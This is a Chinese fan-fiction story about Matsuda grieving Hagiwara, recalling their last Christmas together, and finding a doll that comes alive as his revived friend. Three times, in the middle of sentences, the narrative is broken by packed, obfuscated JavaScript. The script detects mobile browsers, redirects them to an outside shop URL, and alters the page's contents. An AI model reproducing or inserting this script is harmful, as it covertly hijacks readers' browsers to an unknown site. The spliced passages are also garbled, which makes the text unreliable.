《萩原牺牲后觉醒了超能力》 1. 觉醒超能力的第一天 十二月二十五号。 又是一年圣诞节。 天空逐渐黯淡,暮色像化开的淡墨,无声地晕满了整个天空。 爆|炸物处理班终于处理完了最后一个案件,结束了忙忙碌碌的一天。 从紧绷情绪中松懈下来的队员们站在一块,商量着下班后要不要去隔壁街新开的一家居酒屋聚聚,权当放松。 聊的兴起时,新入职的队员注意到那个从不参与他们讨论的身影,鼓起勇气看向角落的办公桌,大着胆子邀请道:“松田队长,您要一起来吗?” 几乎是话音刚落下来的那一刻,办公室猛得寂静下来,前一刻还热烈的气氛陷入一片僵持。感受到气氛变得诡异,新队员面上浮现出一抹茫然,显然还没明白发生了什么,“松田队长…” 看着周遭的氛围,他张了张嘴声音却越来越小,小声嗫嚅道:“我是不是说错了什么。” 松田阵平没有马上回答。只是从那个人牺牲后,再一次面对队员们的聚会邀请时,他依旧无法习惯。 因为在这种时候,他总会下意识侧过头寻找那个人。 当视线落空后——才后知后觉的反应过来,那个总是带着爽朗笑容、熟稔替他周旋打圆场的家伙已经不在了。 这片空气里好似只剩下无人回应的空白。 “……” 随着沉默气氛越发凝滞时,一旁的前辈连忙拉住新队员,压低声音在他耳边略带急促地解释,“一年前他的朋友在执行拆弹任务时牺牲了。” “虽然松田那家伙总表现的若无其事的样子,但我们都知道他到现在都没缓过来。”前辈微微摇了摇头没继续说下去,偷摸用眼神示意后辈别再问了。 “所以…” 新入职的队员露出懊悔又惋惜的神情。 他们选择穿上这身警服、选择进入爆|炸物处理班和危险的炸弹接触时,都想过或许终会有这么一天,牺牲看似遥不可及但好像不过是时间早晚的问题。 在这个岗位上真正能顺利退休、升职的人很少。心里明白是一回事,当真切看到、或者听说身边的同事和前辈牺牲时,那份伤感依旧显得无比沉重。 队员一脸歉意地望着松田,“对不起,松田队长。” 松田阵平扯了扯嘴角,只摆出一副轻松又无所谓的态度对他说了一句,“好了,我可没有那么脆弱。” 这么久过去他早该走出来了。 他确实想这么说,但真的走出来了吗。 那是松田从小到大的挚友、是家人。那短暂的二十三年人生里,数十年都有一个名为萩原研二的人陪伴在身侧。 又怎么可能轻易地走出来呢,不过是留给他伤感的时间不多。松田无法顾及其他、也无法细想下去,只有满脑子想尽快找出那个制作炸弹的凶手,替萩原研二报仇罢了。 这也是萩原留给他的最后一句话。 带着要抓到炸弹犯的执念,他几乎日日夜夜睡在警视厅内,翻遍了无数案件档案和监控录像,只为了找寻犯人一丝一毫蛛丝马迹,一日又一日下只有眼底的青黑诉说着存在感。 可惜找到关于犯人线索依旧很少,松田阵平想,或许转到搜查课会更方便他找寻线索。 如果世界上真的存在天堂和灵魂,萩原那个家伙见到他这样,会不会在天上急得团团转,然后说上几句“果然只要hagi不在,小阵平就肆意糟蹋自己的身体和帅气的脸庞啦”这种话。 想到这,松田阵平下意识勾起嘴角露出一抹笑,却又很快收了回去。手不停摸索着口袋里的烟盒,他若无其事地挥手告别,“没关系,我先走了。” 他走得果决,其他人也没有挽留。 等松田阵平走出警视厅后,才发现外面已然变了幅场景。 从昨天晚上就洋洋洒洒落下的雪覆盖了整条街道,而中央立着一棵高大的圣诞树。树上没有特别繁复的装饰,只缠绕着一圈圈白色的灯串和圣诞麋鹿装饰,一闪一闪像点缀在空中的星辰。 街上行人很多,爱恋中的情侣们牵手走过,大人们面带笑意地交谈,孩子们围绕着圣诞树追逐笑闹。耳边播放着圣诞小曲,无不彰显独属于节日的特殊氛围。 松田阵平独自回家的身影,倒是和周围喧闹的人群有些格格不入。往前走了几步,在经过圣诞树时他突然停下了脚步,望着那棵圣诞树看了一会。 小灯像是一颗颗星辰映入他凫青色的眼中,明明灭灭。 “……” 青年警官缓缓呼出一口气,从口袋里拿出手机,对准那棵圣诞树按下了拍摄键。他也不是突发奇想地认为这颗圣诞树十分好看,要特意记录下来。 只不过是回想起来毕业前的那次圣诞节,那也是他和萩原一起度过的最后一个圣诞节,那天和今天一样热闹。 * 松田阵平对这种节日向来谢绝不敏,有闲逛的时间还不如待在家里多拆几个新款模型,而萩原是个和他完全相反例外。 这次也是萩原答应了某位学姐的邀约,然后把他硬拽着从家里来到吵闹的街上。 此时他们站在圣诞树不远处,旁边是同样在拍照打卡的路人游客。 萩原弯腰给松田阵平戴上刚买的圣诞帽发卡,卷发青年不爽地抱胸,很明显在嫌弃那个幼稚的发卡。虽然是这么想的,却没有阻止面前人的动作,而是任由他给自己戴上了红白色三角帽。 “大功告成。” 拥有紫罗兰色眼眸的青年满意地欣赏了一会,又将另一对麋鹿发卡递给松田,比了个wink,双手合十,“这个就拜托小阵平给我戴上啦。” “你是什么女子高中生吗。”松田阵平撇了撇嘴,接过那对麋鹿发卡。示意萩原微微低下些头,边往他头上别发卡边问,“所以为什么非要让我一起来。” 萩原研二扶了扶头发上一边一个的麋鹿发卡,听到松田的话,手指慢慢拂过鼻尖,忽然偏过头去,“嘛嘛,这个…” “毕竟这次聚会的重点角色是小阵平呢,身为主角当然要到场啦。”他声音越说越小,松田阵平没有听清。 “你说什么?” “没什么啦,小阵平快看这边!”萩原研二话音刚落,不远处的圣诞树应景般地亮了起来,成千上万颗金色小灯泡在夜幕下闪烁。 松田阵平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185125|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被这突如其来的光芒晃得眯了眯眼,再转头时萩原已经恢复了平日里那副笑脸,仿佛刚才那句含糊的低语只是他的错觉。 “很好看吧。”萩原凑过来用胳膊揽过松田阵平比了个耶,另一只手则拿出手机,趁青年还没有反应过来时就按下拍摄键,“小阵平~茄子!” 伴随着咔嚓一声,提前摆好姿势和表情明显错愕的青年们,同身后亮晶晶的圣诞树都一起定格在照片中。 “萩,你这家伙不要突然拍照啊。”松田磨了磨牙,伸长手去抢这张肯定会成为黑历史的照片,“好歹让我准备好——” “我错啦小阵平,好啦好啦。学姐她们已经来了哦!”萩原研二灵活地避开,转移话题似的手指向不远处。 松田顺着他指的方向看去,果不其然有几位穿着裙子的女生正站在圣诞树下的长椅旁朝这边挥手。 “萩原君、松田君,好久不见!”短发学姐小跑着迎上来,围巾在寒风中灵活飘动。她手里捧着两杯热气腾腾的热可可递给他们,“天这么冷,先喝点东西暖暖身子。” 短发学姐又冲松田阵平眨了眨眼睛,“这可是萩原君特意让我买的。” 松田接过纸杯,掌心传来的温度让他稍微放松了些紧绷的肩膀,转头看向萩原又看向学姐,轻声说了一句,“谢了。” 站在身侧的长发学姐,目光在松田阵平头上的圣诞帽发卡停留片刻,笑意莫名加深了些,“果然还是萩原君有办法呢,我们一直都很忐忑松田君会不会拒绝我们呢。” 萩原立刻举手作投降状,麋鹿发卡随着他的动作轻轻摇晃,“没错没错。你们可不知道,我可是费了好大功夫才把小阵平从那堆模型零件里挖出来的哦。” “哪有那么夸张。”松田阵平轻哼了一声,低头喝了一口热可可。甜腻的液体滑过喉咙,带来浓郁的巧克力香味。他不太喜欢这种程度的甜食,不过这杯热饮的确驱散了冬夜的寒意。 集合完毕的一群人沿着街道慢慢走向下一站目的地,萩原正和学姐们聊着毕业之后的打算,松田大多数时只是安静听着,偶尔在他们话题聊到自己时搭上几句腔。 走着走着,松田阵平的目光不经意扫过街边的店铺橱窗,那些精心布置的礼品盒陈列成一排,而一家模型店橱窗里摆着最新款的马自达模型,他的脚步不自觉地慢了一拍。 萩原研二不知何时凑到了松田身边,顺着他的视线看去,顿时了然,“这是上周刚发售的那款吧,听说额外升级了组装难度。” “嗯,看得出来设计得更复杂了。”松田目光落在下方的价格表上,吐槽道:“不过这定价也太离谱了。” “毕竟是最新款嘛。”萩原笑了笑,落后众人一步用手机对着模型拍了张照片,然后快步跟上其他人的脚步。 松田阵平注意到他的动作后一愣,开始思考用零花钱买下的可能性。如果接下来没有大额开支的话,倒是完全够用。 他想,反正他和萩都对这款模型感兴趣,而他身上的钱又正正好——那就买下来吧。 啊,已经想到买下来后模型被拆开又重组的场景了。 一定会很有趣。 2. 觉醒超能力的第二天 他们逛着逛着就来到一家饰品店门口,女生们对这种精美的小店完全没有抵抗力,察觉到学姐们想法的萩原研二适时提出进去看看。 这家店里空间不大,几个柜台上面摆满了各种符合圣诞主题的装饰品。松田阵平对这些没什么兴趣,便找了个空地等着,拥有良好审美的萩原理所当然地被拉过去一起挑选。 他用余光瞥见萩原研二正认真聆听学姐们的需求,然后弯腰拿起台上两款不同设计的饰品,思索片刻后给出了自己的意见。 “学姐看看这对银色耳饰怎么样。” “确实比红色要好看呢,太感谢萩原君了。” 耳边传来学姐们更兴奋的小声讨论,松田不由感叹真不愧是萩。 “萩原君你看,这个是不是很适合你。”短发学姐拿起货架上一个点缀着卡通星星的饰品在他眼前展示。 萩原研二看了一眼,笑着摇摇头,“我就算啦,单论搭配的话小阵平戴更适合——” “想都别想。”松田阵平不客气地打断他,能容忍头上这个幼稚的圣诞帽已经看在今天是节日的份上了。 “欸——hagi好失望。” 来自未来警官预备役的无情拒绝,悲伤极了的萩原只好继续给学姐们提供参考意见,等她们都各自买了不少心仪的小饰品,一行人才出了店门继续沿街道逛着。 大约逛了半个小时,短发学姐看了看手机上的时间,“时间差不多了,我订了KTV的包间,现在过去刚刚好。” “萩,你可没跟我说过。”松田阵平挑眉,他还以为逛完这场聚会就结束了。 “毕竟难得圣诞节嘛,可不能让你这么早溜走。”萩原研二连忙凑到他身边,微微拖长了尾音,“就当陪陪我啦,小阵平。” “别靠我那么近。”察觉到耳边传来温热的气息,松田阵平不自在地往后退了一步,不过他回去也是拆模型,想了想还是没拒绝,“好吧。” “好耶!”目的达成的萩原研二欢快朝学姐们招了招手,顾不上松田的前半段话,直接两手搭在青年背上,推着他向前走去,“出发出发,卡拉OK!” KTV离得不远,很快他们就走到一家装修时尚的门店前。 前台服务员核对好预订信息后,热情地领着他们来到一个包间里。果盘和小吃已经提前备好了,五颜六色的灯光在天花板上缓慢旋转,墙上的屏幕正播放着当下很火的一首MV。 松田阵平选了靠墙的角落位置坐下,萩原研二也很自然地坐到了他旁边。学姐们不客气地开始点歌,包间里很快充满了前奏的音乐声。 “萩原君和松田君要不要合唱一首?”长发学姐唱完一首,忽然提议。 萩原研二眼睛一亮,顺着说:“小阵平,要不要来一首?” “才不要。”松田阵平想都没想就拒绝。身为他的幼驯染,萩原又不是不知道,论拆卸他自称第一,如果是唱歌的话就太为难他了。 “可我很想和小阵平合唱嘛。”萩原研二稍稍偏过头,下垂眼的线条在灯光下显得格外柔和,眸中带上了点期盼。 松田阵平:“……”糟糕,这让他怎么好拒绝。 半长发青年接过学姐手中麦克风,手指在点歌屏上快速滑动,敲定一首选择播放,“就这首,小阵平肯定会唱的。” 前奏刚响起时,松田就听出来了。 这是当下很火的一首歌,旋律简单、歌词朗朗上口,就算只听过一两遍,也能哼出个大概来。 不得不说,确实是他这种唱歌小白的最优选。 但前提是——这别是一首情歌。 “……”松田阵平扯了扯嘴角,一言难尽地盯着萩原。 随着音乐声响起的还有学姐们小心压抑的起哄声,再看萩原研二他已经十分顺手地将另一个话筒递过来了。 所以,你们真的没有觉得有什么地方不对劲吗。 两个大男人唱情歌什么。 “小阵平,”萩原研二晃了晃自己手里的话筒,提醒道:“前奏要过了哦。” 算了,只是唱首歌而已。 不过就是和幼驯染唱首歌嘛,不过恰好适合他的就是这种类型的歌罢了。看他们对这件事寻常的态度,就明白这没什么稀奇的。 松田阵平成功说服了自己,不太自在地清了清嗓子,默默举起了麦克风,而身旁的萩原研二已经跟着节奏摇摆身体,跟着字幕唱出了第一句。 幼驯染的声音比平时更低了一些,咬字清晰,纵使是单调的情歌也被他唱得情深意切。很快轮到松田的部分,他有些生硬地跟上旋律,声音干涩。 “放松点嘛。”萩原研二偷偷用只有两人能听到的音量说,话落又继续唱下一段。 松田阵平把注意力集中在歌词和旋律上,效果显著,第二部分到来时,比刚才顺畅了一些。 虽然还是谈不上多好听…至少没有跑调。 等待中间伴奏结束时,萩原研二对他比了个大拇指,用口型说了一句,“这不是很棒吗,小阵平。”那双紫色的眼睛在昏暗的环境中显得亮晶晶的。 松田阵平又嘶了一声,这家伙能不能不要像哄孩子一样哄他啊,他又不是什么需要鼓励的未成年小鬼。 两人合唱着,学姐们开始跟着节奏轻轻拍手,短发学姐也小声跟着哼唱曲中耳闻能详的部分。 唱完一首,包厢里的气氛热烈起来。萩原研二不用多说,他向来是KTV麦霸,就连一开始不想唱歌的松田也多唱了两首。 十一点,尽兴的大家离开KTV。 在车站送别学姐们后,只剩萩原研二和松田阵平走在回程的路上。夜风清凉,吹散了之前在包厢里的闷热。两人一时都没说话,只余脚步声在街道上交响。 “小阵平。”走到他们在学校外租好的公寓楼下时,萩原研二蓦地开口叫住了松田。 松田阵平疑惑地回头看他。 萩原研二停下脚步,站在路灯下,昏暗的灯光模糊了他的身影。他静静看了松田几秒,目光落在青年被风吹得有些凌乱的卷发。 夜风轻柔拂过,好似带来了远处隐约的圣诞乐曲声。萩原研二的嘴唇动了动,似乎想说什么,最终却只是化作一个比往常更温柔的笑,伸手替松田阵平拉了拉有些松开的围巾。 或许是他胆小吧,也或许是临门一脚他又开始犹豫。 “没什么哦,小阵平。”他收回手,声音在夜色里听起来格外清晰,“今晚的星星真好看,明天也一起看吗?” “?”松田阵平没太明白,总觉得这家伙刚才想说的不是这个。 卷发青年抬头看了看天空,云层不知什么时候散开了,露出点缀在天空上的星星,一颗一颗像是闪耀着耀眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185126|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光芒的钻石,确实如萩所说,很好看。 那颗最亮的,是天狼星还是木星来着,松田对星座没什么研究,不太确定。 但是… “我们不是住一起吗。”松田阵平回答幼驯染,面上疑惑不作伪,“只要你想,每天都可以看。”说罢,他又狐疑看向还在路灯下的青年,“不过萩你什么时候对星座感兴趣了。” “噗。”萩原研二一下笑了出来,“不是对星座感兴趣啦。” 他在这个时候又十分坦率,“hagi只是认为因为有小阵平在——所以今晚的星星特别美哦。” 松田阵平半月眼,这是什么超扯的理由啊,绝对是敷衍他吧。 “赶紧回去了,萩。”他移开视线,抬腿朝公寓楼走去,“等你想说的时候再说吧。” “是真的哦小阵平,等等我啦。”萩原研二应道,快步跟了上来,很自然地与松田并肩而行。 不愧是小阵平,太敏锐啦。 说实话,现在的萩原研二也分不清时常出现的悸动代表着什么。 可又有什么关系呢?往后的时间还很长。 他们有很多个明天和数不清的以后,都足够他让去慢慢厘清。 到底是幼驯染的友谊,还是他对小阵平产生了心动的情愫。如果是后者,萩原研二有些心虚地捂住通红的耳根,但一想到会和小阵平成为恋人什么的,心里就开始不好意思啦。 打开家门,松田阵平脱下鞋子,把外套熟练地挂好走进厨房。萩原研二靠在玄关的墙上,笑意从眼底蔓延开来。 迟早会弄明白的。 他想着,也走进了那片温暖的光里。 * 松田阵平回想起了一起度过的最后一次圣诞节。 自从那次之后,他们一起看了很多次星星,还入手了最新型的望远镜,不过望远镜最后也难逃他的毒手就是了。 这次的星星也和那天一样璀璨,想了想松田又对着天空拍了一张照片。 尽管拿手机的手很稳,但轻而易举拍出好看照片这点一向不是他的强项。 松田阵平低头手指在按键上按了几下进入图库,左右滑动,果不其然——拍出来的照片都带着一点模糊,白色的光点晕染开来。 盯着照片思索了两秒,松田阵平没有选择删除,还颇为理直气壮地想,反正那家伙才不会介意。 至于为什么, 当然是因为抛下他先走一步的家伙在他这里压根没有发言权。 松田阵平轻啧一声,点开邮件找到那个熟悉的邮箱地址。附件选择了那两张模糊的照片,单手开始敲打。 没一会,一封简讯已经编辑好了。 手指悬在发送键上,迟疑了一秒最终按下。 邮件转了几圈才发送成功,他没有等待回信(除非那家伙能找到阴间和阳间的通讯方法),站在原地待了一会,直到一阵冷风袭来,才打了个哈欠准备回去。 屏幕最后显示的是那条已发送成功的信件: 【时间过得真快,又到圣诞了,算下来你已经缺席两次了。给你拍了圣诞树和星星,有点模糊将就看吧。 好吧…明年我会拍清楚一点的。 这是约定。 最后,圣诞快乐,萩。】 随着手机被合上,邮件与黯淡下去的屏幕一同消失。 3. 觉醒超能力的第三天 警校生们毕业上岗后会正式分配宿舍,而警察福利向来不错,宿舍条件也十分优厚。 他和萩原毕业后为了图个自在,也为了下班后能和伊达航他们时不时在家里聚聚、小酌几杯。两人一合计,还是决定放弃宿舍,一起提交申请在警视厅附近合租了间公寓。 不过这间公寓现在也只剩下了松田阵平一个人,固执的守着萩原研二留下来的最后痕迹。 松田阵平用钥匙打开门,按下开关后玄关的灯随之而亮。 他脱下鞋子正准备放在一旁,在低下头时,视线又触及到属于萩原研二那双一直没放回去、整齐摆在鞋柜旁的拖鞋。好像鞋的主人只是出了一趟远门,迟早会回来一样。 鞋上又积了薄薄一层灰,想来是在他差不多住在警视厅的那段时间里,太久没有打扫导致的。他熟练得将两双鞋摆在一块,蹲下身后随手拍去拖鞋上积攒的一层灰烬。 径直走进厨房的水池台将手洗干净,又打开冰箱扫视了一眼。 之前囤的饭团和速食品已经解决完,还没来得及补新的,除此之外只有冷藏室里放着几罐啤酒。看一眼牌子,正好是萩原爱喝的那款。 松田阵平在警校时就经常和萩,还有那三个同期去聚会喝酒,后来搬入新家,萩原研二说下班要是不想去居酒屋,能在家喝一罐放松心情也再好不过。 在他们两人的共同努力下,冰箱里也慢慢堆满了各种各样的啤酒和饮料,这个习惯也被他保留下来。 这个时候松田阵平也不想再跑一趟去买吃的了,索性中午吃了不少现在也不饿。想到这他从冰箱里拿出一罐啤酒,冰凉的触感瞬间从指尖蔓延开来。 松田阵平拿着啤酒走到客厅,正准备拉开易拉罐拉环时,目光却落在了茶几上放着的相框上。 那里很早之前放着的是他们五个人在警校门口的合照,不过在金发混蛋和诸伏接连失去音讯后,猜到他们两大概在执行什么秘密任务,怕引起不必要的麻烦就把照片换掉了。 现在的照片是他和萩原,还有班长伊达航的照片。照片还是他们三人去年刚入职的时候拍的,萩原一手搭着他的肩,笑得很开心。 萩原研二那时的笑是为什么呢,是对未来的期望吗。 看不清神色的卷发青年只是撑着下巴,不去思考脑中那些纷杂的思绪。 入职后他两都进入了爆|炸物处理班,伊达航去了警视厅下辖警察署实习,加上各自繁忙要处理的案件和炸弹越来越多,直到萩原走之后也就聚了一次。 后来他也没了聚会的心思。 松田阵平烦躁地将手中没来得及开封的啤酒重重放回桌上,绿色的铝罐在灯光下又映出照片上萩原的那张带着笑的脸。 看到那张熟悉的脸,心中忽然弥漫出些许不该在他身上看到的,源于焦躁的情绪。他抬起胳膊搭在脸上,整个人半靠在沙发上,小声说了句,“心浮气躁乃是大忌。” 一定能找到的,一定能给你报仇的。 萩。 室内格外安静,只能听到属于自己的呼吸声。除此之外只有窗外隐隐约约传来的圣诞小曲,却也衬得整个空间更显寂寥。 那罐啤酒最终一口未动,茶几上的烟灰缸内却多了许多个捻灭的烟蒂。 松田阵平独自靠在沙发上,直到窗外的歌声平息,路人散去,灯火一盏盏熄灭。 透过窗户望去,那条原本洋溢着节日氛围的街道早已陷入沉寂。远方看不清小小一颗的圣诞树,依然伫立在广场中央,只在夜色里散发着微弱而固执的光。 他向来是个只会猛踩油门的人。 只是自从幼驯染牺牲之后,偶尔也会想——如果不踩油门、如果没有和萩原说那些话。 萩原选择去了其他课,那罐孤零零的啤酒旁会不会就会有另一罐啤酒的存在。 松田阵平嗤笑一声,如果这个词在他这向来不存在。回过神看了一眼时间,意识到已经不早了,明天还有排班。起身准备简单洗漱下,就回卧室休息。 在关灯前他的目光又一次落在茶几上,松田阵平顿了顿,俯身用指尖摩挲抚过相框,像是隔空对某个家伙打招呼。 松田垂眸,轻声道了一句: “……晚安,萩。” 声音低沉沙哑,几乎刚出口就散在了空气里。 自然无人回应。 只不过窗外的月光恰好穿过夜色,静悄悄地落在相框玻璃上,随后那层微光轻轻晃了晃,像一声无声的叹息。 笨蛋小阵平,我听到了哦。 * 清晨,一阵刺耳的闹钟声将尚在梦中的人强制唤醒。 松田阵平拧眉从并不怎么踏实的睡眠中挣扎着醒来。连续多日的作息不规律,让他的太阳穴此刻隐隐作痛,坐在床上缓了几秒才伸手按掉闹钟。 闹铃停下,他抓了抓乱糟糟的卷发,从床上起来准备洗漱。等一切收拾妥当后,在衣架上取下今天上班要穿的西装,边穿边走到玄关处打算换鞋去上班。 走到客厅时,发现桌子上居然出现了一个不大不小的正方形纸箱。纸箱用红绿相间的彩纸包裹着,上面还系着一个略显夸张的蝴蝶结,像是特意迎合节日的气氛。 “?” 他刚准备迈出去的脚步顿住,凫青色的眼睛瞬间眯起,睡意和疲倦被警惕取代,整个人都清醒了不少。 什么东西。 昨晚回来的时候桌子上还没有这东西吧。 昨晚他睡得一点警惕心都没有了吗,被人闯进家里他居然一点动静都没听见。 哈,作为警察他感觉被挑衅了。 松田阵平蹲下身没有立即触碰,而是仔细打量着这个凭空出现的箱子,纸箱周围很干净,除此之外没有任何多余的信息和痕迹。 他居住的这栋公寓虽然普及了监控,但一个星期前就坏掉了。没错就是那么巧,这片区域的监控总是坏的,所以想要从这方面找到线索大概率会一无所获。 如果是松田七八岁的时候,或许真的会以为这是童话故事里描写的那般,是圣诞老人送来的礼物,毕竟这副场景十分相像。 但可惜站在这里的是二十三岁的松田,他早就不信那些童话故事了。 警官先生不爽地嘁了一声,侧耳贴近纸箱耐心听了听,发现里面没有任何奇怪的声响或者是计时器的声音。 不是什么一碰就会爆炸的炸弹啊,那没事了。 他果断从口袋里掏出一把随身携带的小折刀,小心翼翼将交接封口处的胶带划开,入目也不是他以为的什么危险、血腥的东西。 而是一个看起来只有十厘米左右的小玩偶。 他有一头到脖子处的半长黑发,和他十分熟悉的面容,身上还穿着一套深蓝色西装,还围着一条同色领带。玩偶安静地坐在一堆碎纸片里,面容安详地闭着眼睛。 这幅样子是… “萩?” 这个玩偶太像萩原研二了, 或许已经不能说是“像”这个词了。 这玩偶的样子简直是按着萩原研二的样子,一比一复刻出来的一样,只是做工会更可爱一点,像个精致的小手办。 下一瞬松田阵平的脸色陡然一变,一股被冒犯的怒意和心口弥漫的痛意涌上来,他突然反应过来——是谁把萩原的样子做成玩偶放进他家的? 是谁恶劣的玩笑,还是谁别有用心的警告或嘲讽,他死死盯着那个玩偶,指尖却止不住地轻颤。 青年想了很多,脑中冒出来的第一个想法——这是来自那个害死萩的炸弹犯挑衅? 想法冒出来的下一秒,他就强行压了回去。 不可能。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185127|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那个阴沟里的老鼠灰溜溜地躲藏还来不及,只会传递一些似是而非的传真,不太可能主动跑到警察家里来挑衅,这太冒险了。 除了刚看到玩偶相貌产生的冲击以外,松田阵平已经迅速冷静下来,他伸手想要将玩偶拿起来,试图观察玩偶和箱子里面有没有更多的线索。 就在他即将触碰到玩偶的那刻,玩偶搁在膝盖上棉花做的小手、极其轻微地蜷缩了一下。 松田阵平的动作骤然顿住,瞳孔紧缩。 不是错觉。 接着在他紧张的注视下,玩偶闭合的双眼慢慢睁开,一双圆溜溜的紫色眼眸出现在他面前。 一人一玩偶四目相对。 还没等松田反应,玩偶眼睛灵活地眨了眨,嘴角勾出一道熟悉的弧度,一道他以为此生都听不到却又略显稚嫩的嗓音回响在耳边。 “小阵平?”声音顿了顿,尾音带上点疑惑,似乎发声者自己也没预料到目前的现状。 萩原研二低头打量了下自己,从拥有傲人身高变成大概十厘米软绵绵的身体,痛定思痛地沉思三秒后,仅仅用时一秒迅速接受现实。 然后在纸箱子里上下蹦跶了几下,开始欢快地打招呼:“早上中午晚上好呀,小阵平。” “hagi现在是不是变得有点可爱了耶?” 玩偶不仅说话了,还发出了逝去幼驯染的声音。虽然声音比较稚嫩,但不影响他能听出来。 松田阵平沉默:“……” 一脸怀疑人生的卷发警官保持着半蹲的姿势,手指虚虚地停留在玩偶的脸旁。 他倒吸了一口气,自言自语般:“果然是里面装了录音设备吗,居然还能对话,难道是远程操控?” “眼睛是装了机关的摄像头吗?” 话音落下,他直接伸手抓起萩原牌小玩偶,前后左右来回捏了捏,想看看里面有没有可以存储录音的设备。 这可苦了小小一只的萩原,他整个棉花身体都被松田揉来揉去,圆鼓鼓的脸包括软软的身体也被搓成椭圆形了。 不是夸张的修饰词。 是萩原玩偶真的变成椭圆形了。 “小阵平,快松手啦!” “研二酱被捏痛了哦!” 娃娃身体里没有任何设备的存在,入手只有棉花柔软的触感。 难不成真的是萩? 脑中才浮出这个念头,松田阵平像被惊到一样猛地松开了手。 不可能。 这是什么荒谬的想法。 小萩原刚慢悠悠站起来,这一松手又差点掉下去。幸好松田阵平又及时合拢手掌,托住了小玩偶。 凫青色的眸中罕见得有点无措,修长的手指把萩原研二揉成原本的样子,“喂喂,这是什么情况…” 萩原研二终于站稳了,用那双棉花小手努力整理自己刚刚被揉乱的头发和衣服,动作还带点笨拙的可爱。他仰起脸无奈道:“好吧,这不怪小阵平啦。” “……” “如果是我遇到这种情况,也会做出和小阵平一样的选择呢。”萩原研二歪了歪头,无比灵活地对松田比了个wink,“但是站在这里的的确是货真价实、独一无二的研二酱哦!” “……” 松田阵平喉结动了动,说不清是信还是不信,另一只手却有些迟疑地伸过来,用指尖极轻地拨了一下萩原研二翘起来的一小撮头发,把它压了下去。 他一手托着萩原,正要准备说些什么时,目光扫过那个已经被拆开的纸箱,碎纸里似乎还有什么。 松田阵平弯下腰,用另一只手拨开那些碎纸堆,纸条下面里压着一张叠起来的卡片。他把架在鼻梁上的墨镜取了下来,仔细阅读。 上面印着一行加粗的字: ——恭喜您觉醒超能力“全都变成大努努”! 4. 觉醒超能力的第四天 松田阵平的眉心跳了一下。 这是什么玩意,有说明书吗。 什么超能力,还有努努是什么。 看看还在上下满脸稀奇打量自己新身体的幼驯染,警官先生好像就明白努努是什么了。 可能是上天听到了他的呼唤,从天而降一份“释义书”。 “……”槽点太多,松田阵平一时间不知道从哪里开始吐槽。 谁家超能力是用纸箱送过来的啊,一点也不符合超能力这个名字吧。松田再怎么说也看过不少热血漫画,觉醒超能力不应该是像热血漫画里酷炫狂拽帅的主角一样,一堆特效环绕在身边吗…… 草率又莫名其妙从天空中飞出来一张纸,还有超能力真的科学吗、这真的是他生活了二十三年的世界吗。 松田阵平忍着脱口而出的吐槽欲望,默默地看了下去。 【您觉醒了非常稀有的复活超能力哦! ‘全都变成大努努’指将逝者的灵魂凝聚于特制的努努躯体上,通过与能力拥有者(您)近距离接触获得能量,而能量充足是努努成长并复活的基础。 努努能量补充方式如下: 基础方式:包括但不限于皮肤接触、近距离陪伴。 ■■方式:包括负距离的亲密接触,可大大加快能量效率哦。 警告:努努非常脆弱,需细心照顾。 能量不足将导致努努陷入长期休眠,最终将引发不可逆的灵魂消散,请勿让努努长时间独处。 注:努努即对象本身,其思维感知、情绪与常人无异。 末尾:请珍惜这份奇迹,它因你强烈的思念与呼唤而来。】 松田阵平的视线在以下几个关键词上徘徊,最后落在了最后那个暧昧不清的字眼上。 这个负一看就不是什么好字吧。 不可避免想歪到某个方面的松田警官面色铁青,手里的墨镜应声而断。还好因为他要看释义书选择放下了萩原研二,避免萩原刚复活就被暴怒的他捏死得悲惨结局。 这个超能力看起来不太对劲。 来不及多想关于负距离的问题,在松田阵平看完纸上所有内容的那一刻,纸条和地上的纸箱突兀得化作白光,围绕他转了一圈后消失不见。 与此同时他脑海中也多关于超能力的释义和说明,并且他现在能熟练操控超能力和查看萩原的状态了。 萩原研二(已绑定),而通过刚刚的接触也成功积攒了百分之一的能量,大概还差九十九萩原就能恢复成年体,也就是通俗意义的复活。 超能力只能绑定一位用户,不过能理解,如果连复活这种事都毫无限制的话,先不说他自身处境危险与否,这个世界离乱套也不远了。 松田阵平低头重新看向萩原。 萩原也睁着圆溜溜紫色的眼睛望着他。 又一次四目相对。 经历过神奇一幕的松田,这时才有了一阵真实感,一直盘旋在心里的阴霾在这刻散去。 不是梦。 不是幻觉。 也不是报复和恶作剧。 萩原研二真的用一种超乎想象的方式回来了。 或许纸条上写得没错,这是一份因他而来的奇迹,所以他才会在一年后的今天重新见到了他阔别已久的幼驯染。 即使超能力会带来代价和副作用也没关系,他已经做好准备了。 “小阵平,关于那天我很抱歉。”萩原研二顿了顿,开口说。 